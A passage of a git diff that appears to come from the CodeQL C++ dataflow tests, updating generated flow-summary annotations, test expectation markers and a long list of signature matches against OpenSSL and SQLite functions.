*);;Argument[0];ReturnValue;value;df-generated + //heuristic-summary=Models;TemplatedFlow;true;templated_function;(U *,T *);;Argument[*0];ReturnValue[*];value;df-generated //contentbased-summary=Models;TemplatedFlow;true;templated_function;(U *,T *);;Argument[0];ReturnValue;value;dfc-generated //contentbased-summary=Models;TemplatedFlow;true;templated_function;(U *,T *);;Argument[*0];ReturnValue[*];value;dfc-generated template @@ -130,7 +130,7 @@ namespace Models { } //heuristic-summary=;;true;toplevel_function;(int *);;Argument[0];ReturnValue;taint;df-generated -//heuristic-summary=;;true;toplevel_function;(int *);;Argument[*0];ReturnValue;taint;df-generated +//heuristic-summary=;;true;toplevel_function;(int *);;Argument[*0];ReturnValue;value;df-generated //heuristic-summary=;;true;toplevel_function;(int *);;Argument[0];Argument[*0];taint;df-generated //contentbased-summary=;;true;toplevel_function;(int *);;Argument[0];Argument[*0];taint;dfc-generated //contentbased-summary=;;true;toplevel_function;(int *);;Argument[0];ReturnValue;taint;dfc-generated @@ -145,13 +145,13 @@ static int static_toplevel_function(int* p) { } struct NonFinalStruct { - //heuristic-summary=;NonFinalStruct;true;public_not_final_member_function;(int);;Argument[0];ReturnValue;taint;df-generated + //heuristic-summary=;NonFinalStruct;true;public_not_final_member_function;(int);;Argument[0];ReturnValue;value;df-generated //contentbased-summary=;NonFinalStruct;true;public_not_final_member_function;(int);;Argument[0];ReturnValue;value;dfc-generated virtual int public_not_final_member_function(int x) { return x; } - //heuristic-summary=;NonFinalStruct;false;public_final_member_function;(int);;Argument[0];ReturnValue;taint;df-generated + //heuristic-summary=;NonFinalStruct;false;public_final_member_function;(int);;Argument[0];ReturnValue;value;df-generated //contentbased-summary=;NonFinalStruct;false;public_final_member_function;(int);;Argument[0];ReturnValue;value;dfc-generated virtual int public_final_member_function(int x) final { return x; @@ -171,13 +171,13 @@ struct NonFinalStruct { }; struct FinalStruct final { - //heuristic-summary=;FinalStruct;false;public_not_final_member_function_2;(int);;Argument[0];ReturnValue;taint;df-generated + //heuristic-summary=;FinalStruct;false;public_not_final_member_function_2;(int);;Argument[0];ReturnValue;value;df-generated //contentbased-summary=;FinalStruct;false;public_not_final_member_function_2;(int);;Argument[0];ReturnValue;value;dfc-generated virtual int public_not_final_member_function_2(int x) { return x; } - //heuristic-summary=;FinalStruct;false;public_final_member_function_2;(int);;Argument[0];ReturnValue;taint;df-generated + //heuristic-summary=;FinalStruct;false;public_final_member_function_2;(int);;Argument[0];ReturnValue;value;df-generated //contentbased-summary=;FinalStruct;false;public_final_member_function_2;(int);;Argument[0];ReturnValue;value;dfc-generated virtual int public_final_member_function_2(int x) final { return x; @@ -211,7 +211,7 @@ struct HasInt { //contentbased-summary=;;true;copy_struct;(HasInt *,const HasInt *);;Argument[*1];Argument[*0];value;dfc-generated //heuristic-summary=;;true;copy_struct;(HasInt *,const HasInt *);;Argument[1];Argument[*0];taint;df-generated //heuristic-summary=;;true;copy_struct;(HasInt *,const HasInt *);;Argument[1];Argument[*1];taint;df-generated -//heuristic-summary=;;true;copy_struct;(HasInt *,const HasInt *);;Argument[*1];Argument[*0];taint;df-generated +//heuristic-summary=;;true;copy_struct;(HasInt *,const HasInt *);;Argument[*1];Argument[*0];value;df-generated int copy_struct(HasInt *out, const HasInt *in) { *out = *in; return 1; diff --git a/cpp/ql/test/library-tests/dataflow/models-as-data/tests.cpp b/cpp/ql/test/library-tests/dataflow/models-as-data/tests.cpp index 9f01f0959c00..92397bc91c34 100644 --- a/cpp/ql/test/library-tests/dataflow/models-as-data/tests.cpp +++ b/cpp/ql/test/library-tests/dataflow/models-as-data/tests.cpp @@ -56,9 +56,9 @@ void test_sources() { sink(v_direct); // $ ir sink(remoteMadSourceIndirect()); - sink(*remoteMadSourceIndirect()); // $ MISSING: ir + sink(*remoteMadSourceIndirect()); // $ ir sink(*remoteMadSourceDoubleIndirect()); - sink(**remoteMadSourceDoubleIndirect()); // $ MISSING: ir + sink(**remoteMadSourceDoubleIndirect()); // $ ir int a, b, c, d; @@ -124,7 +124,7 @@ void test_sinks() { // test sources + sinks together madSinkArg0(localMadSource()); // $ ir - madSinkIndirectArg0(remoteMadSourceIndirect()); // $ MISSING: ir + madSinkIndirectArg0(remoteMadSourceIndirect()); // $ ir madSinkVar = remoteMadSourceVar; // $ ir *madSinkVarIndirect = remoteMadSourceVar; // $ MISSING: ir } diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected b/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected index b22b4cb59db0..7a5791c27569 100644 --- a/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected @@ -1,23 +1,410 @@ signatureMatches +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | ASN1_STRING_type_new | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | ASN1_tag2bit | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | ASN1_tag2str | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | EVP_PKEY_asn1_get0 | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | Jim_ReturnCode | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | Jim_SignalId | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | OBJ_nid2ln | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | OBJ_nid2obj | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | OBJ_nid2sn | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | OSSL_STORE_INFO_type_string | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | OSSL_trace_get_category_name | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | PKCS12_init | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | Symbol_Nth | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | X509_PURPOSE_get0 | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | X509_PURPOSE_get_by_id | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | X509_TRUST_get0 | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | X509_TRUST_get_by_id | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | evp_pkey_type2name | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | ossl_tolower | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | ossl_toupper | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | sqlite3_compileoption_get | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | sqlite3_errstr | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | tls13_alert_code | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | ASN1_STRING_type_new | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | ASN1_tag2bit | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | ASN1_tag2str | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | EVP_PKEY_asn1_get0 | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | Jim_ReturnCode | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | Jim_SignalId | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | OBJ_nid2ln | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | OBJ_nid2obj | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | OBJ_nid2sn | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | OSSL_STORE_INFO_type_string | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | OSSL_trace_get_category_name | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | PKCS12_init | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | Symbol_Nth | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | X509_PURPOSE_get0 | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | X509_PURPOSE_get_by_id | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | X509_TRUST_get0 | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | X509_TRUST_get_by_id | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | evp_pkey_type2name | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | ossl_cmp_bodytype_to_string | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | ossl_tolower | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | ossl_toupper | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | sqlite3_compileoption_get | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | sqlite3_errstr | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | tls13_alert_code | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ASN1_STRING_type_new | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ASN1_tag2bit | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ASN1_tag2str | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | EVP_PKEY_asn1_get0 | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | Jim_ReturnCode | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | Jim_SignalId | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | OBJ_nid2ln | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | OBJ_nid2obj | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | OBJ_nid2sn | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | OSSL_STORE_INFO_type_string | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | OSSL_trace_get_category_name | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | PKCS12_init | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | Symbol_Nth | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | X509_PURPOSE_get0 | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | X509_PURPOSE_get_by_id | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | X509_TRUST_get0 | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | X509_TRUST_get_by_id | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | evp_pkey_type2name | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ossl_tolower | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ossl_toupper | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | sqlite3_compileoption_get | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | sqlite3_errstr | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | tls13_alert_code | 0 | | atl.cpp:71:5:71:17 | _U_STRINGorID | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:71:5:71:17 | _U_STRINGorID | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:71:5:71:17 | _U_STRINGorID | (unsigned int) | | Jim_IntHashFunction | 0 | +| atl.cpp:71:5:71:17 | _U_STRINGorID | (unsigned int) | | ssl3_get_cipher | 0 | | atl.cpp:72:5:72:17 | _U_STRINGorID | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | Strsafe | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | Symbol_new | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | UI_create_method | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | opt_path_end | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | opt_progname | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | strhash | 0 | +| atl.cpp:201:8:201:12 | GetAt | (size_t) | | EVP_PKEY_meth_get0 | 0 | +| atl.cpp:201:8:201:12 | GetAt | (size_t) | | ossl_get_extension_type | 0 | +| atl.cpp:201:8:201:12 | GetAt | (size_t) | | ossl_param_bytes_to_blocks | 0 | +| atl.cpp:201:8:201:12 | GetAt | (size_t) | | ossl_quic_sstream_new | 0 | +| atl.cpp:201:8:201:12 | GetAt | (size_t) | | ssl_cert_new | 0 | +| atl.cpp:206:10:206:17 | InsertAt | (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (EC_KEY *,const unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (MD4_CTX *,const void *,size_t) | | MD4_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (MD5_CTX *,const void *,size_t) | | MD5_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT **,const unsigned char **,size_t) | | o2i_SCT | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SHA_CTX *,const void *,size_t) | | SHA1_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,int,size_t) | | WPACKET_memset | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | X509_VERIFY_PARAM_set1_ip | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (char *,const char *,size_t) | | OPENSSL_strlcat | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (char *,const char *,size_t) | | OPENSSL_strlcpy | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const SSL_SESSION *,unsigned char *,size_t) | | SSL_SESSION_get_master_key | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const 